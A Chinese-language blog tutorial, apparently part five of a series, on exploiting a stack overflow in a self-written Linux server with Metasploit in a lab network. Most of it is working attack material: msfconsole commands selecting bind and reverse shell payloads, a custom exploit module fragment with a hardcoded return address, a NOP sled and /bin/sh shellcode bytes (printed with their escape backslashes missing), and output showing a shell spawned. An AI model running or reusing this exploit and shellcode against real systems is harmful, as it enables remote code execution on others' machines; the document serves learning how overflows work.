使用metasploit进行栈溢出攻击-5

我们先尝试使用这个脚本进行攻击:

msf > use exploit/linux/myvictim
msf  exploit(myvictim) > set payload linux/x86/
set payload linux/x86/metsvc_bind_tcp     set payload linux/x86/shell_reverse_tcp2
set payload linux/x86/metsvc_reverse_tcp
msf  exploit(myvictim) > set payload linux/x86/metsvc_bind_tcp
payload => linux/x86/metsvc_bind_tcp
msf  exploit(myvictim) > set rhost 10.10.10.133
rhost => 10.10.10.133
msf  exploit(myvictim) > set rport 7777
rport => 7777
msf  exploit(myvictim) > exploit

[*] Started bind handler
[*] Sending 116 byte payload...
[*] Exploit completed, but no session was created.

server端显示:

bai@ubuntu:/mnt/hgfs/r/stack$ ./server
socket
bind
listen
server is run...
accept

The IP of client is:10.10.10.128
The Port of client is:52308
close-new_fd 2
recv
accept
sp=0xbffff488,addr=0xbffff4a4 bytes.

显然攻击目的没有,达到,具体原因有两个(我认为的),第一是返回值部分不对,第二是payload本身是不是有问题

我们一一修改:

'MyVictimSever run on linux',
{
'Platform' => 'Linux',
'Ret'      =>  0xbffff4a4
}

第二,我们payload首先采用最先验证过的运行/bin/sh的shellcode

# Build the buffer for transmission
        buf="";
        buf  = make_nops(15);
        buf+="xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" 
        buf+="x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" 
        buf+="x80xe8xdcxffxffxff/bin/sh";
        #buf+="xa4xf4xffxbf"
        #buf += payload.encoded
        buf += [].fill( target.ret,0,100).pack('V*')

尤其注意最前我们补充的nop 指令的数量是15,我在这里卡了很久,就是因为指令对齐问题,显然32位平台上,应该是四字节对齐的。

然后运行

msf  exploit(myvictim) > rexploit
[*] Reloading module...

[*] Started bind handler
[*] Sending 116 byte payload...

[*] Exploit completed, but no session was created.

注意这里运行的是rexploit,这个表示重新载入模块,并执行,因为我刚刚修改过了。

可以看到server端:

The IP of client is:10.10.10.128
The Port of client is:47336
close-new_fd 2
accept
recv
sp=0xbffff488,addr=0xbffff4a4 bytes.
$ $

 这里用的shellcode是自己生成的,没有用payload.encoded,是因为我尝试用payload,但是没有任何反应,应该是编码以后不能执行造成的。

原文地址:https://www.cnblogs.com/baizx/p/4114820.html